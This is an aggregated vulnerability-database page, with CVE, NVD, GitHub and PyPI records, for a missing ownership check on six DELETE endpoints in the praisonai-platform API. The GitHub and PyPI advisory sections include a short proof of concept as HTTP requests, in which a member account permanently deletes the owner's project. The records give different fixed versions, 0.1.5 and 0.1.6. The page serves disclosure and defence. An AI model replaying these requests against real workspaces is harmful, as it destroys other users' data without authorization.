Vulnerability-Lookup

CVE-2026-57121 (GCVE-0-2026-57121)

Vulnerability from cvelistv5 – Published: 2026-10-23 12:07 – Updated: 2026-10-23 14:59

Title

PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API

Summary

PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. This issue has been patched in version 0.1.5.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-23 14:48 UTC

CWE

CWE-285 - Improper Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8035 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
MervinPraison	PraisonAI	Affected: >= 0.1.4, < 0.1.5	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-57121",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-23T14:48:46.523962Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-23T14:59:32.712Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.1.4, \u003c 0.1.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly. This issue has been patched in version 0.1.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-23T12:07:27.854Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
        }
      ],
      "source": {
        "advisory": "GHSA-rh39-9c67-59mh",
        "discovery": "UNKNOWN"
      },
      "title": "PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-57121",
    "datePublished": "2026-10-23T12:07:27.854Z",
    "dateReserved": "2026-06-24T00:33:17.707Z",
    "dateUpdated": "2026-10-23T14:59:32.712Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-57121",
      "date": "2026-11-01",
      "epss": "0.00329",
      "percentile": "0.26031"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "PraisonAI",
                "vendor": "MervinPraison",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 0.1.4, \u003c 0.1.5"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly. This issue has been patched in version 0.1.5."
          }
        ],
        "id": "CVE-2026-57121",
        "lastModified": "2026-10-23T15:17:34.020",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-57121",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-23T14:48:46.523962Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-23T13:17:11.057",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-285"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-57121",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-23T14:48:46.523962Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-23T14:48:47.338Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "PraisonAI",
              "vendor": "MervinPraison",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 0.1.4, \u003c 0.1.5"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly. This issue has been patched in version 0.1.5."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-285",
                  "description": "CWE-285: Improper Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-23T12:07:27.854Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
            }
          ],
          "source": {
            "advisory": "GHSA-rh39-9c67-59mh",
            "discovery": "UNKNOWN"
          },
          "title": "PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-57121",
        "datePublished": "2026-10-23T12:07:27.854Z",
        "dateReserved": "2026-06-24T00:33:17.707Z",
        "dateUpdated": "2026-10-23T14:59:32.712Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-57121

Vulnerability from fkie_nvd - Published: 2026-10-23 13:17 - Updated: 2026-10-23 15:17

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.1.4, \u003c 0.1.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly. This issue has been patched in version 0.1.5."
    }
  ],
  "id": "CVE-2026-57121",
  "lastModified": "2026-10-23T15:17:34.020",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-57121",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-23T14:48:46.523962Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-23T13:17:11.057",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-RH39-9C67-59MH

Vulnerability from github – Published: 2026-06-18 13:58 – Updated: 2026-07-20 21:25

Summary

PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API

Details

Summary

A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.

Details

The published role capability matrix explicitly restricts members from modifying others' content:

Capability	Owner	Admin	Member
Create issues/tasks	✅	✅	✅
Edit own content	✅	✅	✅
Edit others' content	✅	✅	❌

The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.

Confirmed vulnerable endpoints:

Endpoint	Expected	Actual
`DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}`	403	204

The missing check is isolated to content resource DELETEs.

PoC

Requirements: Two accounts — owner (resource creator) and member (attacker).

1. Register both accounts

POST /api/v1/auth/register
Content-Type: application/json

{"email": "owner@example.com", "password": "Password1!", "name": "owner"}

POST /api/v1/auth/register
Content-Type: application/json

{"email": "member@example.com", "password": "Password1!", "name": "member"}

2. Owner creates workspace, adds member with member role

POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"name": "Test Workspace"}

POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json

{"user_id": "<member_user_id>", "role": "member"}

3. Owner creates a project

POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"title": "Owner's Project"}

Response 201 Created:

{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}

4. Member deletes the owner's project

DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>

Response: 204 No Content

5. Owner confirms the project is permanently gone

GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>

Response: 404 Not Found

{"detail": "Project not found"}

The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).

Impact

This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.

Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.4"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:58:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly.\n\n### Details\nThe [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others\u0027 content:\n\n| Capability | Owner | Admin | Member |\n|---|---|---|---|\n| Create issues/tasks | \u2705 | \u2705 | \u2705 |\n| Edit own content | \u2705 | \u2705 | \u2705 |\n| Edit others\u0027 content | \u2705 | \u2705 | \u274c |\n\nThe DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.\n\n**Confirmed vulnerable endpoints:**\n\n| Endpoint | Expected | Actual |\n|---|---|---|\n| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |\n\nThe missing check is isolated to content resource DELETEs.\n\n\n### PoC\n**Requirements:** Two accounts \u2014 owner (resource creator) and member (attacker).\n\n**1. Register both accounts**\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"owner@example.com\", \"password\": \"Password1!\", \"name\": \"owner\"}\n```\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"member@example.com\", \"password\": \"Password1!\", \"name\": \"member\"}\n```\n\n**2. Owner creates workspace, adds member with `member` role**\n\n```http\nPOST /api/v1/workspaces/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"name\": \"Test Workspace\"}\n```\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/members\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"user_id\": \"\u003cmember_user_id\u003e\", \"role\": \"member\"}\n```\n\n**3. Owner creates a project**\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/projects/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"title\": \"Owner\u0027s Project\"}\n```\n\nResponse `201 Created`:\n```json\n{\"id\": \"29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\", \"title\": \"Owner\u0027s Project\", ...}\n```\n\n**4. Member deletes the owner\u0027s project**\n\n```http\nDELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cmember_token\u003e\n```\n\nResponse: **`204 No Content`**\n\n**5. Owner confirms the project is permanently gone**\n\n```http\nGET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cowner_token\u003e\n```\n\nResponse: **`404 Not Found`**\n```json\n{\"detail\": \"Project not found\"}\n```\n\nThe same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).\n\n\n---\n\n### Impact\n\nThis is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content \u2014 the DELETE endpoints do not enforce this.\n\n**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.",
  "id": "GHSA-rh39-9c67-59mh",
  "modified": "2026-07-20T21:25:04Z",
  "published": "2026-06-18T13:58:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API"
}

PYSEC-2026-3526

Vulnerability from pysec - Published: 2026-07-23 11:41 - Updated: 2026-07-23 11:41

Details

Summary

Details

The published role capability matrix explicitly restricts members from modifying others' content:

Capability	Owner	Admin	Member
Create issues/tasks	✅	✅	✅
Edit own content	✅	✅	✅
Edit others' content	✅	✅	❌

Confirmed vulnerable endpoints:

Endpoint	Expected	Actual
`DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}`	403	204
`DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}`	403	204

The missing check is isolated to content resource DELETEs.

PoC

Requirements: Two accounts — owner (resource creator) and member (attacker).

1. Register both accounts

POST /api/v1/auth/register
Content-Type: application/json

{"email": "owner@example.com", "password": "Password1!", "name": "owner"}

POST /api/v1/auth/register
Content-Type: application/json

{"email": "member@example.com", "password": "Password1!", "name": "member"}

2. Owner creates workspace, adds member with member role

POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"name": "Test Workspace"}

POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json

{"user_id": "<member_user_id>", "role": "member"}

3. Owner creates a project

POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"title": "Owner's Project"}

Response 201 Created:

{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}

4. Member deletes the owner's project

DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>

Response: 204 No Content

5. Owner confirms the project is permanently gone

GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>

Response: 404 Not Found

{"detail": "Project not found"}

The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).

Impact

Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Impacted products

Name	purl
praisonai-platform	pkg:pypi/praisonai-platform

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform",
        "purl": "pkg:pypi/praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.4"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57121",
    "GHSA-rh39-9c67-59mh"
  ],
  "details": "### Summary\nA workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly.\n\n### Details\nThe [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others\u0027 content:\n\n| Capability | Owner | Admin | Member |\n|---|---|---|---|\n| Create issues/tasks | \u2705 | \u2705 | \u2705 |\n| Edit own content | \u2705 | \u2705 | \u2705 |\n| Edit others\u0027 content | \u2705 | \u2705 | \u274c |\n\nThe DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.\n\n**Confirmed vulnerable endpoints:**\n\n| Endpoint | Expected | Actual |\n|---|---|---|\n| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |\n\nThe missing check is isolated to content resource DELETEs.\n\n\n### PoC\n**Requirements:** Two accounts \u2014 owner (resource creator) and member (attacker).\n\n**1. Register both accounts**\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"owner@example.com\", \"password\": \"Password1!\", \"name\": \"owner\"}\n```\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"member@example.com\", \"password\": \"Password1!\", \"name\": \"member\"}\n```\n\n**2. Owner creates workspace, adds member with `member` role**\n\n```http\nPOST /api/v1/workspaces/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"name\": \"Test Workspace\"}\n```\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/members\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"user_id\": \"\u003cmember_user_id\u003e\", \"role\": \"member\"}\n```\n\n**3. Owner creates a project**\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/projects/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"title\": \"Owner\u0027s Project\"}\n```\n\nResponse `201 Created`:\n```json\n{\"id\": \"29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\", \"title\": \"Owner\u0027s Project\", ...}\n```\n\n**4. Member deletes the owner\u0027s project**\n\n```http\nDELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cmember_token\u003e\n```\n\nResponse: **`204 No Content`**\n\n**5. Owner confirms the project is permanently gone**\n\n```http\nGET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cowner_token\u003e\n```\n\nResponse: **`404 Not Found`**\n```json\n{\"detail\": \"Project not found\"}\n```\n\nThe same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).\n\n\n---\n\n### Impact\n\nThis is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content \u2014 the DELETE endpoints do not enforce this.\n\n**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.",
  "id": "PYSEC-2026-3526",
  "modified": "2026-07-23T11:41:42.244435Z",
  "published": "2026-07-23T11:41:42.244435Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai-platform"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rh39-9c67-59mh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57121"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

